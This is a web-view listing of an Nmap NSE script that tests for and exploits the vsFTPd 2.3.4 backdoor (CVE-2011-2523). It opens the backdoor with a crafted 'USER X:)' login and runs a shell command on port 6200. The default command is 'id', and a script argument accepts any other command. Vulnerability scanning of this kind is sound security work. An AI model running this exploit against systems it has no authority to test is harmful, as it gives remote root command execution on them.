summaryrefslogtreecommitdiffstats
path: root/scripts/ftp-vsftpd-backdoor.nse
blob: 6b79df85f2b5902fb4044f539cc061486b459374 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"

description = [[
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
(CVE-2011-2523). This script attempts to exploit the backdoor using the
innocuous <code>id</code> command by default, but that can be changed with
the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
arguments.

References:

* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
]]

---
-- @usage
-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
--
-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
--       (default is <code>id</code>).
--
-- @output
-- PORT   STATE SERVICE
-- 21/tcp open  ftp
-- | ftp-vsftpd-backdoor:
-- |   VULNERABLE:
-- |   vsFTPd version 2.3.4 backdoor
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2011-2523  BID:48539
-- |     Description:
-- |       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
-- |     Disclosure date: 2011-07-03
-- |     Exploit results:
-- |       The backdoor was already triggered
-- |       Shell command: id
-- |       Results: uid=0(root) gid=0(root) groups=0(root)
-- |     References:
-- |       https://www.securityfocus.com/bid/48539
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
-- |       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
-- |_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
--

author = "Daniel Miller"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}


local CMD_FTP = "USER X:)\r\nPASS X\r\n"
local CMD_SHELL_ID = "id"

portrule = function (host, port)
  -- Check if version detection knows what FTP server this is.
  if port.version.product ~= nil and port.version.product ~= "vsftpd" then
    return false
  end

  -- Check if version detection knows what version of FTP server this is.
  if port.version.version ~= nil and port.version.version ~= "2.3.4" then
    return false
  end

  return shortport.port_or_service(21, "ftp")(host, port)
end

local function finish_ftp(socket, status, message)
  if socket then
    socket:close()
  end
  return status, message
end

-- Returns true, results  if vsFTPd was backdoored
local function check_backdoor(host, shell_cmd, vuln)
  local socket = nmap.new_socket("tcp")
  socket:set_timeout(10000)

  local status, ret = socket:connect(host, 6200, "tcp")
  if not status then
    return finish_ftp(socket, false, "can't connect to tcp port 6200")
  end

  status, ret = socket:send(CMD_SHELL_ID.."\n")
  if not status then
    return finish_ftp(socket, false, "failed to send shell command")
  end

  status, ret = socket:receive_lines(1)
  if not status then
    return finish_ftp(socket, false,
      string.format("failed to read shell command results: %s",
      ret))
  end

  if not ret:match("uid=") then
    return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
  end

  vuln.state = vulns.STATE.EXPLOIT
  table.insert(vuln.exploit_results,
    string.format("Shell command: %s", CMD_SHELL_ID))
  local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
  table.insert(vuln.exploit_results,
    string.format("Results: %s", result))

  if shell_cmd ~= CMD_SHELL_ID then
    status, ret = socket:send(shell_cmd.."\n")
    if status then
      status, ret = socket:receive_lines(1)
      if status then
        table.insert(vuln.exploit_results,
          string.format("Shell command: %s", shell_cmd))
        result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
        table.insert(vuln.exploit_results,
          string.format("Results: %s", result))
      end
    end
  end

  socket:send("exit\n");

  return finish_ftp(socket, true)
end

action = function(host, port)
  -- Get script arguments.
  local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
  stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID

  local vsftp_vuln = {
    title = "vsFTPd version 2.3.4 backdoor",
    IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
    description = [[
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
    references = {
      'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
      'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
    },
    dates = {
      disclosure = {year = '2011', month = '07', day = '03'},
    },
    exploit_results = {},
  }
  local report = vulns.Report:new(SCRIPT_NAME, host, port)

  -- check to see if the vsFTPd backdoor was already triggered
  local status, ret = check_backdoor(host, cmd, vsftp_vuln)
  if status then
    return report:make_output(vsftp_vuln)
  end

  -- Create socket.
  local sock, code, message, buffer = ftp.connect(host, port,
    {request_timeout = 8000})
  if not sock then
    stdnse.debug1("can't connect: %s", code)
    return nil
  end

  -- Read banner.
  if not code then
    stdnse.debug1("can't read banner: %s", message)
    sock:close()
    return nil
  end

  status, ret = sock:send(CMD_FTP .. "\r\n")
  if not status then
    stdnse.debug1("failed to send privilege escalation command: %s", ret)
    return nil
  end

  stdnse.sleep(1)
  -- check if vsFTPd was backdoored
  status, ret = check_backdoor(host, cmd, vsftp_vuln)
  if not status then
    stdnse.debug1("%s", ret)
    vsftp_vuln.state = vulns.STATE.NOT_VULN
    return report:make_output(vsftp_vuln)
  end

  -- delay ftp socket cleaning
  sock:close()
  return report:make_output(vsftp_vuln)
end